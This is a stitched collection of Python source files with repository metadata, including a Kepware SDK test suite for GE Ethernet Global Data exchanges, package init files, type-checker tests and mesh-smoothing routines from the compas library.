range(100)] df[4]=['bob' for i in range(50)]+list(range(50)) with self.assertRaises(TypeError) as cm: df._build_sqlite3_tbl(list(df.keys())[:2], 42) self.assertEqual(str(cm.exception), "'int' object is not iterable") def suite(): return unittest.TestSuite(( unittest.makeSuite(Test__build_sqlite3_tbl) )) if __name__ == "__main__": # run tests runner = unittest.TextTestRunner() runner.run(suite())

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null

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6

c52f144df1276663726e2afdc91e4c778f1100ae

14,870

py

Python

tests/egd_test.py

PTCInc/Kepware-ConfigAPI-SDK-Python

ff7757492a7ea1e73f3d5862ba956c8af4dcc797

[ "MIT" ]

9

2020-04-08T18:48:03.000Z

2022-03-18T15:05:01.000Z

tests/egd_test.py

PTCInc/Kepware-ConfigAPI-SDK-Python

ff7757492a7ea1e73f3d5862ba956c8af4dcc797

[ "MIT" ]

5

2020-08-24T15:08:54.000Z

2022-03-16T17:07:09.000Z

tests/egd_test.py

PTCInc/Kepware-ConfigAPI-SDK-Python

ff7757492a7ea1e73f3d5862ba956c8af4dcc797

[ "MIT" ]

10

2020-03-23T20:40:17.000Z

2021-11-14T08:42:56.000Z

# ------------------------------------------------------------------------- # Copyright (c) PTC Inc. All rights reserved. # See License.txt in the project root for # license information. # -------------------------------------------------------------------------- # EGD Test - Test to exersice all GE EGD driver exchange related features # including, exchanges, ranges and name resolutions import os, sys sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) import kepconfig import kepconfig.connectivity import time import datetime import pytest # import connectivity, admin, iot_gateway, datalogger # Channel and Device name to be used ch_name = 'EGD' dev_name = 'Device1' consumer_exchange = { "common.ALLTYPES_NAME": "0", "common.ALLTYPES_DESCRIPTION": "", "ge_ethernet_global_data.CONSUMER_EXCHANGE_ID": 0, "ge_ethernet_global_data.CONSUMER_EXCHANGE_NUMBER": 1, "ge_ethernet_global_data.CONSUMER_EXCHANGE_PRODUCER_ID": "192.168.1.130", "ge_ethernet_global_data.CONSUMER_EXCHANGE_GROUP_ID": 1, "ge_ethernet_global_data.CONSUMER_EXCHANGE_CONSUMED_PERIOD_MS": 1000, "ge_ethernet_global_data.CONSUMER_EXCHANGE_UPDATE_TIMEOUT_MS": 10000 } consumer_exchange10 = { "common.ALLTYPES_NAME": "10", "common.ALLTYPES_DESCRIPTION": "", "ge_ethernet_global_data.CONSUMER_EXCHANGE_ID": 10, "ge_ethernet_global_data.CONSUMER_EXCHANGE_NUMBER": 10, "ge_ethernet_global_data.CONSUMER_EXCHANGE_PRODUCER_ID": "192.168.1.130", "ge_ethernet_global_data.CONSUMER_EXCHANGE_GROUP_ID": 1, "ge_ethernet_global_data.CONSUMER_EXCHANGE_CONSUMED_PERIOD_MS": 1000, "ge_ethernet_global_data.CONSUMER_EXCHANGE_UPDATE_TIMEOUT_MS": 10000 } producer_exchange = { "common.ALLTYPES_NAME": "0", "common.ALLTYPES_DESCRIPTION": "", "ge_ethernet_global_data.PRODUCER_EXCHANGE_ID": 0, "ge_ethernet_global_data.PRODUCER_EXCHANGE_NUMBER": 0, "ge_ethernet_global_data.PRODUCER_EXCHANGE_CONSUMED_TYPE": 1, 'ge_ethernet_global_data.PRODUCER_EXCHANGE_CONSUMED_ADDRESS_GROUP_ID':0, "ge_ethernet_global_data.PRODUCER_EXCHANGE_CONSUMED_ADDRESS_IP": "10.10.10.10", 'ge_ethernet_global_data.PRODUCER_EXCHANGE_CONSUMED_ADDRESS_NAME': '', "ge_ethernet_global_data.PRODUCER_EXCHANGE_PRODUCER_INTERVAL_MS": 10 } producer_exchange10 = { "common.ALLTYPES_NAME": "10", "common.ALLTYPES_DESCRIPTION": "", "ge_ethernet_global_data.PRODUCER_EXCHANGE_ID": 10, "ge_ethernet_global_data.PRODUCER_EXCHANGE_NUMBER": 10, "ge_ethernet_global_data.PRODUCER_EXCHANGE_CONSUMED_TYPE": 1, 'ge_ethernet_global_data.PRODUCER_EXCHANGE_CONSUMED_ADDRESS_GROUP_ID':0, "ge_ethernet_global_data.PRODUCER_EXCHANGE_CONSUMED_ADDRESS_IP": "10.10.10.10", 'ge_ethernet_global_data.PRODUCER_EXCHANGE_CONSUMED_ADDRESS_NAME': '', "ge_ethernet_global_data.PRODUCER_EXCHANGE_PRODUCER_INTERVAL_MS": 10 } range1 = { "common.ALLTYPES_NAME": "Range_0", "common.ALLTYPES_DESCRIPTION": "", "ge_ethernet_global_data.RANGE_INDEX": 1, "ge_ethernet_global_data.RANGE_OFFSET": 0, "ge_ethernet_global_data.RANGE_REFERENCE": 0, "ge_ethernet_global_data.RANGE_LOW_POINT": 0, "ge_ethernet_global_data.RANGE_HIGH_POINT": 8 } range2 = { "common.ALLTYPES_NAME": "Range_1", "common.ALLTYPES_DESCRIPTION": "", "ge_ethernet_global_data.RANGE_INDEX": 2, "ge_ethernet_global_data.RANGE_OFFSET": 18, "ge_ethernet_global_data.RANGE_REFERENCE": 6, "ge_ethernet_global_data.RANGE_LOW_POINT": 0, "ge_ethernet_global_data.RANGE_HIGH_POINT": 10 } name1 = { "common.ALLTYPES_NAME": "PLC1", "common.ALLTYPES_DESCRIPTION": "", "ge_ethernet_global_data.NAME_RESOLUTION_ALIAS": "PLC1", "ge_ethernet_global_data.NAME_RESOLUTION_IP_ADDRESS": "192.168.1.200" } name2 = { "common.ALLTYPES_NAME": "PLC2", "common.ALLTYPES_DESCRIPTION": "", "ge_ethernet_global_data.NAME_RESOLUTION_ALIAS": "PLC2", "ge_ethernet_global_data.NAME_RESOLUTION_IP_ADDRESS": "192.168.1.201" } def HTTPErrorHandler(err): if err.__class__ is kepconfig.error.KepHTTPError: print(err.code) print(err.msg) print(err.url) print(err.hdrs) print(err.payload) else: print('Different Exception Received: {}'.format(err)) egd_device = { "common.ALLTYPES_NAME": ch_name, "servermain.MULTIPLE_TYPES_DEVICE_DRIVER": "GE Ethernet Global Data", "devices": [{ "common.ALLTYPES_NAME": dev_name, "servermain.MULTIPLE_TYPES_DEVICE_DRIVER": "GE Ethernet Global Data" }] } def initialize(server): try: server._config_get(server.url +"/doc/drivers/GE Ethernet Global Data/channels") except Exception as err: pytest.skip("EGD Driver is not installed", allow_module_level=True) try: kepconfig.connectivity.channel.add_channel(server,egd_device) == True except Exception as err: pytest.skip("Device Configuration couldn't be added", allow_module_level=True) def complete(server): try: kepconfig.connectivity.channel.del_channel(server,egd_device['common.ALLTYPES_NAME']) except Exception as err: HTTPErrorHandler(err) @pytest.fixture(scope="module") def server(kepware_server): server = kepware_server # Initialize any configuration before testing in module initialize(server) # Everything below yield is run after module tests are completed yield server complete(server) def remove_projectid(DATA): if type(DATA) is dict: DATA.pop('PROJECT_ID', None) elif type(DATA) is list: for item in DATA: if type(item) is list: for x in item: x.pop('PROJECT_ID', None) else: item.pop('PROJECT_ID', None) return DATA # Exchange Tests def create_exchange(server, exchange_type, exchanges): assert kepconfig.connectivity.egd.exchange.add_exchange(server, ch_name + '.' + dev_name, exchange_type, exchanges[0]) # Delete assert kepconfig.connectivity.egd.exchange.del_exchange(server, ch_name + '.' + dev_name, exchange_type, exchanges[0]['common.ALLTYPES_NAME']) # Add multiple Exchanges assert kepconfig.connectivity.egd.exchange.add_exchange(server, ch_name + '.' + dev_name, exchange_type, exchanges) def get_exchange(server, exchange_type, exchanges): # Get a specific Exchange ret = kepconfig.connectivity.egd.exchange.get_exchange(server, ch_name + '.' + dev_name, exchange_type, exchanges[0]['common.ALLTYPES_NAME']) assert type(ret) == dict, 'Unexpected data type return. {}'.format(type(ret)) assert remove_projectid(ret) == exchanges[0] # Get All exchanges for exchange type ret = kepconfig.connectivity.egd.exchange.get_exchange(server, ch_name + '.' + dev_name, exchange_type) assert type(ret) == list, 'Unexpected data type return. {}'.format(type(ret)) assert remove_projectid(ret) == exchanges # Get All exchanges for device ret = kepconfig.connectivity.egd.exchange.get_all_exchanges(server, ch_name + '.' + dev_name) assert type(ret) == list if exchange_type == kepconfig.connectivity.egd.PRODUCER_EXCHANGE: assert remove_projectid(ret) == [[],exchanges] else: assert remove_projectid(ret) == [exchanges,[]] def modify_exchange(server, exchange_type, exchange_name): assert kepconfig.connectivity.egd.exchange.modify_exchange(server, ch_name + '.' + dev_name, exchange_type, {"ge_ethernet_global_data.CONSUMER_EXCHANGE_NUMBER": 2}, exchange_name) assert kepconfig.connectivity.egd.exchange.modify_exchange(server, ch_name + '.' + dev_name, exchange_type, {"common.ALLTYPES_NAME": exchange_name,"ge_ethernet_global_data.CONSUMER_EXCHANGE_NUMBER": 3}) assert kepconfig.connectivity.egd.exchange.modify_exchange(server, ch_name + '.' + dev_name, exchange_type, {"common.ALLTYPES_NAME": exchange_name,"ge_ethernet_global_data.CONSUMER_EXCHANGE_NUMBER": 4}, force=True) def delete_exchange(server, exchange_type, exchange_name): assert kepconfig.connectivity.egd.exchange.del_exchange(server, ch_name + '.' + dev_name, exchange_type, exchange_name) # Exchange Range tests def create_range(server, exchange_type, exchange_name, ranges): assert kepconfig.connectivity.egd.range.add_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name, ranges[0]) # Delete assert kepconfig.connectivity.egd.range.del_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name, ranges[0]['common.ALLTYPES_NAME']) # Add multiple ranges assert kepconfig.connectivity.egd.range.add_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name, ranges) def get_range(server, exchange_type, exchange_name, ranges): # Get a specific range ret = kepconfig.connectivity.egd.range.get_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name, ranges[0]['common.ALLTYPES_NAME']) assert type(ret) == dict, 'Unexpected data type return. {}'.format(type(ret)) assert remove_projectid(ret) == ranges[0] # Get All ranges for Exchange ret = kepconfig.connectivity.egd.range.get_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name) assert type(ret) == list, 'Unexpected data type return. {}'.format(type(ret)) assert remove_projectid(ret) == ranges def modify_range(server, exchange_type, exchange_name, range_name): assert kepconfig.connectivity.egd.range.modify_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name, {"ge_ethernet_global_data.RANGE_HIGH_POINT": 10}, range_name) assert kepconfig.connectivity.egd.range.modify_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name, {"common.ALLTYPES_NAME": range_name,"ge_ethernet_global_data.RANGE_HIGH_POINT": 11}) assert kepconfig.connectivity.egd.range.modify_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name, {"common.ALLTYPES_NAME": range_name,"ge_ethernet_global_data.RANGE_HIGH_POINT": 8}, force=True) def delete_range(server, exchange_type, exchange_name, range_name): assert kepconfig.connectivity.egd.range.del_range(server, ch_name + '.' + dev_name, exchange_type, exchange_name, range_name) # Name Resolution Tests def create_name(server, names): assert kepconfig.connectivity.egd.name.add_name_resolution(server, ch_name + '.' + dev_name, names[0]) # Delete assert kepconfig.connectivity.egd.name.del_name_resolution(server, ch_name + '.' + dev_name, names[0]['common.ALLTYPES_NAME']) # Add multiple ranges assert kepconfig.connectivity.egd.name.add_name_resolution(server, ch_name + '.' + dev_name, names) def get_name(server, names): # Get a specific range ret = kepconfig.connectivity.egd.name.get_name_resolution(server, ch_name + '.' + dev_name, names[0]['common.ALLTYPES_NAME']) assert type(ret) == dict, 'Unexpected data type return. {}'.format(type(ret)) assert remove_projectid(ret) == names[0] # Get All ranges for Exchange ret = kepconfig.connectivity.egd.name.get_name_resolution(server, ch_name + '.' + dev_name) assert type(ret) == list, 'Unexpected data type return. {}'.format(type(ret)) assert remove_projectid(ret) == names def modify_name(server, name): assert kepconfig.connectivity.egd.name.modify_name_resolution(server, ch_name + '.' + dev_name, {"ge_ethernet_global_data.NAME_RESOLUTION_IP_ADDRESS": '192.168.1.50'}, name) assert kepconfig.connectivity.egd.name.modify_name_resolution(server, ch_name + '.' + dev_name, {"common.ALLTYPES_NAME": name,"ge_ethernet_global_data.NAME_RESOLUTION_IP_ADDRESS": '192.168.1.100'}) assert kepconfig.connectivity.egd.name.modify_name_resolution(server, ch_name + '.' + dev_name, {"common.ALLTYPES_NAME": name,"ge_ethernet_global_data.NAME_RESOLUTION_IP_ADDRESS": '192.168.1.202'}, force=True) def delete_name(server, name): assert kepconfig.connectivity.egd.name.del_name_resolution(server, ch_name + '.' + dev_name, name) # # MAIN TEST SET # def test_consumer_exchange(server): # initialize(server) create_exchange(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE,[consumer_exchange, consumer_exchange10]) get_exchange(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE, [consumer_exchange, consumer_exchange10]) # Range Tests create_range(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE, consumer_exchange['common.ALLTYPES_NAME'], [range1, range2]) get_range(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE, consumer_exchange['common.ALLTYPES_NAME'], [range1, range2]) modify_range(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE, consumer_exchange['common.ALLTYPES_NAME'], range1['common.ALLTYPES_NAME']) delete_range(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE, consumer_exchange['common.ALLTYPES_NAME'], range1['common.ALLTYPES_NAME']) modify_exchange(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE, consumer_exchange['common.ALLTYPES_NAME']) delete_exchange(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE, consumer_exchange['common.ALLTYPES_NAME']) delete_exchange(server, kepconfig.connectivity.egd.CONSUMER_EXCHANGE, consumer_exchange10['common.ALLTYPES_NAME']) # complete(server) def test_producer_exchange(server): # initialize(server) create_exchange(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE,[producer_exchange, producer_exchange10]) get_exchange(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE, [producer_exchange, producer_exchange10]) # Range Tests create_range(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE, producer_exchange['common.ALLTYPES_NAME'], [range1, range2]) get_range(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE, producer_exchange['common.ALLTYPES_NAME'], [range1, range2]) modify_range(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE, producer_exchange['common.ALLTYPES_NAME'], range1['common.ALLTYPES_NAME']) delete_range(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE, producer_exchange['common.ALLTYPES_NAME'], range1['common.ALLTYPES_NAME']) modify_exchange(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE, producer_exchange['common.ALLTYPES_NAME']) delete_exchange(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE, producer_exchange['common.ALLTYPES_NAME']) delete_exchange(server, kepconfig.connectivity.egd.PRODUCER_EXCHANGE, producer_exchange10['common.ALLTYPES_NAME']) # complete(server) def test_name_resolutions(server): # initialize(server) create_name(server, [name1, name2]) get_name(server, [name1, name2]) modify_name(server, name1['common.ALLTYPES_NAME']) delete_name(server, name1['common.ALLTYPES_NAME']) # complete(server)

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Python

projects/BUC/bucreid/__init__.py

weleen/MGH.pytorch

69f2830f6bd60fe3b33c80c04540c0c800d26de1

[ "Apache-2.0" ]

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2021-10-06T15:57:29.000Z

2021-12-21T12:46:19.000Z

projects/BUC/bucreid/__init__.py

weleen/MGH.pytorch

69f2830f6bd60fe3b33c80c04540c0c800d26de1

[ "Apache-2.0" ]

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2022-02-14T06:36:19.000Z

2022-02-24T08:18:39.000Z

projects/BUC/bucreid/__init__.py

weleen/MGH.pytorch

69f2830f6bd60fe3b33c80c04540c0c800d26de1

[ "Apache-2.0" ]

null

from . import hooks from .buc_head import BUCHead from .buc_trainer import BUCTrainer

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Python

astra/models.py

BottleJia/Redis-astra

f27288c383ef4710c2a97416fc268242cdf95100

[ "MIT" ]

87

2016-03-07T08:38:56.000Z

2021-11-12T11:42:34.000Z

astra/models.py

BottleJia/Redis-astra

f27288c383ef4710c2a97416fc268242cdf95100

[ "MIT" ]

5

2016-03-10T20:49:28.000Z

2021-06-30T08:01:43.000Z

astra/models.py

BottleJia/Redis-astra

f27288c383ef4710c2a97416fc268242cdf95100

[ "MIT" ]

6

2016-03-17T21:28:25.000Z

2021-07-29T05:49:59.000Z

from astra.model import Model # NOQA from astra.fields import * # NOQA

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py

Python

backend/src/viasp/__init__.py

glaserL/viasp

740cb13c9d71c76b9a702597083b5b75b5a5eafb

[ "MIT" ]

null

backend/src/viasp/__init__.py

glaserL/viasp

740cb13c9d71c76b9a702597083b5b75b5a5eafb

[ "MIT" ]

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2022-03-15T12:10:58.000Z

2022-03-23T19:33:51.000Z

backend/src/viasp/__init__.py

glaserL/viasp

740cb13c9d71c76b9a702597083b5b75b5a5eafb

[ "MIT" ]

null

from .wrapper import Control

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9a8e9cb36657351164b3181435e91fb6a0f1efc0

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py

Python

rl_environments/vrep/__init__.py

molomono/rl_environments

e625790cf27b7e8362859421a7fd937879f601e4

[ "MIT" ]

null

rl_environments/vrep/__init__.py

molomono/rl_environments

e625790cf27b7e8362859421a7fd937879f601e4

[ "MIT" ]

null

rl_environments/vrep/__init__.py

molomono/rl_environments

e625790cf27b7e8362859421a7fd937879f601e4

[ "MIT" ]

null

from rl_environments.vrep.cartpole_vrep_env import CartPoleVrepEnv from rl_environments.vrep.cartpole_continuous_vrep_env import CartPoleContinuousVrepEnv from rl_environments.vrep.hopper_vrep_env import HopperVrepEnv from rl_environments.vrep.balancebot_vrep_env import BalanceBotVrepEnv from rl_environments.vrep.balancebot_vrep_env_noise import BalanceBotVrepEnvNoise from rl_environments.vrep.balancebot_vrep_balance import BalanceBotVrepEnvBalance from rl_environments.vrep.cartpole_continuous_swingup_vrep_env import DoubleCartPoleSwingupVrepEnv from rl_environments.vrep.balancebot_vrep_locomotion import BalanceBotVrepEnvLocomotion

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9ac857a9dbc818d09cd40df31f83a8c894332c6c

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py

Python

continuum/transforms/__init__.py

oleksost/continuum

682d66540bfbfa171ac73281ed2989f9338e88bf

[ "MIT" ]

282

2020-05-09T21:35:22.000Z

2022-03-20T11:29:41.000Z

continuum/transforms/__init__.py

oleksost/continuum

682d66540bfbfa171ac73281ed2989f9338e88bf

[ "MIT" ]

180

2020-05-03T09:31:48.000Z

2022-03-30T12:12:48.000Z

continuum/transforms/__init__.py

oleksost/continuum

682d66540bfbfa171ac73281ed2989f9338e88bf

[ "MIT" ]

34

2020-06-13T14:09:29.000Z

2022-03-14T14:05:07.000Z

from continuum.transforms import segmentation

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py

Python

src/test_type_checkers.py

jsphweid/annhouga

f00f64907e1c4ff9a5e03ffa5b46bd1f7dbb5d75

[ "MIT" ]

1

2018-02-14T09:47:15.000Z

src/test_type_checkers.py

jsphweid/annhouga

f00f64907e1c4ff9a5e03ffa5b46bd1f7dbb5d75

[ "MIT" ]

null

src/test_type_checkers.py

jsphweid/annhouga

f00f64907e1c4ff9a5e03ffa5b46bd1f7dbb5d75

[ "MIT" ]

null

import type_checkers as types # is_int def test_basic_is_int(): assert types.is_int(5) == True def test_string_cannot_be_int(): assert types.is_int('5') == False def test_float_is_not_int1(): assert types.is_int(1.53) == False def test_float_is_not_int2(): assert types.is_int(5.) == False def test_boolean_is_not_int1(): assert types.is_int(False) == False def test_boolean_is_not_int2(): assert types.is_int(True) == False # is_float def test_basic_is_float(): assert types.is_float(4.3) == True def test_string_cannot_be_float(): assert types.is_float('5') == False def test_int_is_not_float(): assert types.is_float(5) == False def test_plain_zero_is_not_float(): assert types.is_float(0) == False def test_boolean_is_not_float1(): assert types.is_float(False) == False def test_boolean_is_not_float2(): assert types.is_float(True) == False # is_real_number def test_int_is_real_number(): assert types.is_real_number(5) == True def test_float_is_real_number(): assert types.is_real_number(5.1) == True def test_complex_num_is_not_real_number(): assert types.is_real_number(1j) == False def test_string_is_not_real_number(): assert types.is_real_number('test') == False def test_dict_is_not_real_number(): assert types.is_real_number({}) == False def test_list_is_not_real_number(): assert types.is_real_number([1]) == False # is_list_with_two_numbers def test_is_list_with_two_numbers1(): assert types.is_list_with_two_numbers([1, 2]) == True def test_is_list_with_two_numbers2(): assert types.is_list_with_two_numbers([1., 2]) == True def test_is_list_with_two_numbers3(): assert types.is_list_with_two_numbers([-4, 2.3248]) == True def test_list_with_3_numbers_is_false(): assert types.is_list_with_two_numbers([-4, 2.3248, 11]) == False def test_list_with_a_string_is_false(): assert types.is_list_with_two_numbers(['lol', 2.3248]) == False def test_dict_with_two_items_is_false(): assert types.is_list_with_two_numbers({ "one": 1, "two": 2 }) == False # is_list_of_dictionaries def test_is_list_of_dictionaries(): assert types.is_list_of_dictionaries([{}, {}]) == True def test_is_list_of_dictionaries_with_lists_is_false(): assert types.is_list_of_dictionaries([[], []]) == False def test_is_list_of_dictionaries_with_strs_is_false(): assert types.is_list_of_dictionaries(['test', 'hi']) == False def test_is_list_of_dictionaries_with_ints_and_dicts_is_false(): assert types.is_list_of_dictionaries([5, {}]) == False

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429

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0.212121

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0.736014

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null

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1

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0

6

9afd34867cbe58d5bcad884cfe3c8288e82a9b32

173

py

Python

MentalUs/models.py

realityone/MentalUs

1c9c267efc258e274839d8e040a42272821d6e3f

[ "Apache-2.0" ]

null

MentalUs/models.py

realityone/MentalUs

1c9c267efc258e274839d8e040a42272821d6e3f

[ "Apache-2.0" ]

null

MentalUs/models.py

realityone/MentalUs

1c9c267efc258e274839d8e040a42272821d6e3f

[ "Apache-2.0" ]

null

from user.models import MTUser, MTExtendFields, MTUserExtendInfo from general.models import MTAnnouncement from scale.models import MTScale, MTScaleResult, MTUnfinishedScale

57.666667

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6

b11301e97f7fd1b3cca4413ad186732d22b4c61a

8,063

py

Python

src/compas/datastructures/mesh/smoothing.py

mpopescu/compas

55f259607deea501f862cbaea79bd97d7e56ead6

[ "MIT" ]

null

src/compas/datastructures/mesh/smoothing.py

mpopescu/compas

55f259607deea501f862cbaea79bd97d7e56ead6

[ "MIT" ]

9

2019-09-11T08:53:19.000Z

2019-09-16T08:35:39.000Z

src/compas/datastructures/mesh/smoothing.py

Licini/compas

34f65adb3d0abc3f403312ffba62aa76f3376292

[ "MIT" ]

null

from __future__ import print_function from __future__ import absolute_import from __future__ import division from compas.geometry import centroid_points from compas.geometry import centroid_polygon __all__ = [ 'mesh_smooth_centroid', 'mesh_smooth_centerofmass', 'mesh_smooth_area', ] def mesh_smooth_centroid(mesh, fixed=None, kmax=100, damping=0.5, callback=None, callback_args=None): """Smooth a mesh by moving every free vertex to the centroid of its neighbors. Parameters ---------- mesh : Mesh A mesh object. fixed : list, optional The fixed vertices of the mesh. kmax : int, optional The maximum number of iterations. damping : float, optional The damping factor. callback : callable, optional A user-defined callback function to be executed after every iteration. callback_args : list, optional A list of arguments to be passed to the callback. Raises ------ Exception If a callback is provided, but it is not callable. Examples -------- .. plot:: :include-source: import compas from compas.datastructures import Mesh from compas.datastructures import mesh_smooth_centroid from compas_plotters import MeshPlotter mesh = Mesh.from_obj(compas.get('faces.obj')) fixed = list(mesh.vertices_where({'vertex_degree': 2})) mesh_smooth_centroid(mesh, fixed=fixed) plotter = MeshPlotter(mesh) plotter.draw_vertices(facecolor={key: '#ff0000' for key in fixed}) plotter.draw_faces() plotter.draw_edges() plotter.show() """ if callback: if not callable(callback): raise Exception('Callback is not callable.') fixed = fixed or [] fixed = set(fixed) for k in range(kmax): key_xyz = {key: mesh.vertex_coordinates(key) for key in mesh.vertices()} for key, attr in mesh.vertices(True): if key in fixed: continue x, y, z = key_xyz[key] cx, cy, cz = centroid_points([key_xyz[nbr] for nbr in mesh.vertex_neighbors(key)]) attr['x'] += damping * (cx - x) attr['y'] += damping * (cy - y) attr['z'] += damping * (cz - z) if callback: callback(k, callback_args) def mesh_smooth_centerofmass(mesh, fixed=None, kmax=100, damping=0.5, callback=None, callback_args=None): """Smooth a mesh by moving every free vertex to the center of mass of the polygon formed by the neighboring vertices. Parameters ---------- mesh : Mesh A mesh object. fixed : list, optional The fixed vertices of the mesh. kmax : int, optional The maximum number of iterations. damping : float, optional The damping factor. callback : callable, optional A user-defined callback function to be executed after every iteration. callback_args : list, optional A list of arguments to be passed to the callback. Raises ------ Exception If a callback is provided, but it is not callable. Examples -------- .. plot:: :include-source: import compas from compas.datastructures import Mesh from compas.datastructures import mesh_smooth_centerofmass from compas_plotters import MeshPlotter mesh = Mesh.from_obj(compas.get('faces.obj')) fixed = [key for key in mesh.vertices() if mesh.vertex_degree(key) == 2] mesh_smooth_centerofmass(mesh, fixed=fixed) plotter = MeshPlotter(mesh) plotter.draw_vertices(facecolor={key: '#ff0000' for key in fixed}) plotter.draw_faces() plotter.draw_edges() plotter.show() """ if callback: if not callable(callback): raise Exception('Callback is not callable.') fixed = fixed or [] fixed = set(fixed) for k in range(kmax): key_xyz = {key: mesh.vertex_coordinates(key) for key in mesh.vertices()} for key, attr in mesh.vertices(True): if key in fixed: continue x, y, z = key_xyz[key] cx, cy, cz = centroid_polygon([key_xyz[nbr] for nbr in mesh.vertex_neighbors(key, ordered=True)]) attr['x'] += damping * (cx - x) attr['y'] += damping * (cy - y) attr['z'] += damping * (cz - z) if callback: callback(k, callback_args) def mesh_smooth_area(mesh, fixed=None, kmax=100, damping=0.5, callback=None, callback_args=None): """Smooth a mesh by moving each vertex to the barycenter of the centroids of the surrounding faces, weighted by area. Parameters ---------- mesh : Mesh A mesh object. fixed : list, optional The fixed vertices of the mesh. kmax : int, optional The maximum number of iterations. damping : float, optional The damping factor. callback : callable, optional A user-defined callback function to be executed after every iteration. callback_args : list, optional A list of arguments to be passed to the callback. Raises ------ Exception If a callback is provided, but it is not callable. Examples -------- .. plot:: :include-source: import compas from compas.datastructures import Mesh from compas.datastructures import mesh_smooth_area from compas_plotters import MeshPlotter mesh = Mesh.from_obj(compas.get('faces.obj')) fixed = [key for key in mesh.vertices() if mesh.vertex_degree(key) == 2] mesh_smooth_area(mesh, fixed=fixed) plotter = MeshPlotter(mesh) plotter.draw_vertices(facecolor={key: '#ff0000' for key in fixed}) plotter.draw_faces() plotter.draw_edges() plotter.show() """ if callback: if not callable(callback): raise Exception('Callback is not callable.') fixed = fixed or [] fixed = set(fixed) for k in range(kmax): key_xyz = {key: mesh.vertex_coordinates(key)[:] for key in mesh.vertices()} fkey_centroid = {fkey: mesh.face_centroid(fkey) for fkey in mesh.faces()} fkey_area = {fkey: mesh.face_area(fkey) for fkey in mesh.faces()} for key, attr in mesh.vertices(True): if key in fixed: continue x, y, z = key_xyz[key] A = 0 ax, ay, az = 0, 0, 0 for fkey in mesh.vertex_faces(key, ordered=True): if fkey is None: continue a = fkey_area[fkey] c = fkey_centroid[fkey] ax += a * c[0] ay += a * c[1] az += a * c[2] A += a if A: ax = ax / A ay = ay / A az = az / A attr['x'] += damping * (ax - x) attr['y'] += damping * (ay - y) attr['z'] += damping * (az - z) if callback: callback(k, callback_args) # ============================================================================== # Main # ============================================================================== if __name__ == "__main__": import compas from compas.datastructures import Mesh from compas_plotters import MeshPlotter mesh = Mesh.from_obj(compas.get('faces.obj')) fixed = list(mesh.vertices_where({'vertex_degree': 2})) lines = [] for u, v in mesh.edges(): lines.append({ 'start': mesh.vertex_coordinates(u, 'xy'), 'end': mesh.vertex_coordinates(v, 'xy'), 'color': '#cccccc', 'width': 1.0, }) mesh_smooth_area(mesh, fixed=fixed, kmax=100) plotter = MeshPlotter(mesh, figsize=(10, 7)) plotter.draw_lines(lines) plotter.draw_vertices(facecolor={key: '#ff0000' for key in fixed}) plotter.draw_edges() plotter.show()

27.803448

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null

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null

0

6

b15ac0e21510ba636bab8eb495fd1c8fd5a1408b

138

py

Python

dist/Basilisk/simulation/vscmgStateEffector/__init__.py

ian-cooke/basilisk_mag

a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14

[ "0BSD" ]

null

dist/Basilisk/simulation/vscmgStateEffector/__init__.py

ian-cooke/basilisk_mag

a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14

[ "0BSD" ]

1

2019-03-13T20:52:22.000Z

dist/Basilisk/simulation/vscmgStateEffector/__init__.py

ian-cooke/basilisk_mag

a8b1e37c31c1287549d6fd4d71fcaa35b6fc3f14

[ "0BSD" ]

null

# This __init__.py file for the vscmgStateEffector package is automatically generated by the build system from vscmgStateEffector import *

69

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0.888889

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null

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1

0

1

0

1

0

6

b1686ef2960b20506242b7efb0b494b24a5478d7

33

py

Python

singleton_widgets/__init__.py

sagemath/sage-combinat-widgets

b17c62ed982a7d4ec7a50932765b978069dc25da

[ "BSL-1.0" ]

3

2018-09-05T15:04:35.000Z

2021-11-09T12:57:54.000Z

singleton_widgets/__init__.py

sagemath/sage-combinat-widgets

b17c62ed982a7d4ec7a50932765b978069dc25da

[ "BSL-1.0" ]

18

2018-08-20T13:49:33.000Z

2022-01-19T15:24:07.000Z

singleton_widgets/__init__.py

sagemath/sage-combinat-widgets

b17c62ed982a7d4ec7a50932765b978069dc25da

[ "BSL-1.0" ]

5

2019-04-13T16:50:04.000Z

2021-11-09T12:57:43.000Z

from .singleton_widgets import *

16.5

32

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null

0

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0

1

0

1

0

6

b185a3f8f92282de65544603e8fbe8dbe1798429

14,979

py

Python

tests/report/test_report_io.py

virtualcell/Biosimulators_utils

1b34e1e0a9ace706d245e9d515d0fae1e55a248d

[ "MIT" ]

null

tests/report/test_report_io.py

virtualcell/Biosimulators_utils

1b34e1e0a9ace706d245e9d515d0fae1e55a248d

[ "MIT" ]

null

tests/report/test_report_io.py

virtualcell/Biosimulators_utils

1b34e1e0a9ace706d245e9d515d0fae1e55a248d

[ "MIT" ]

null

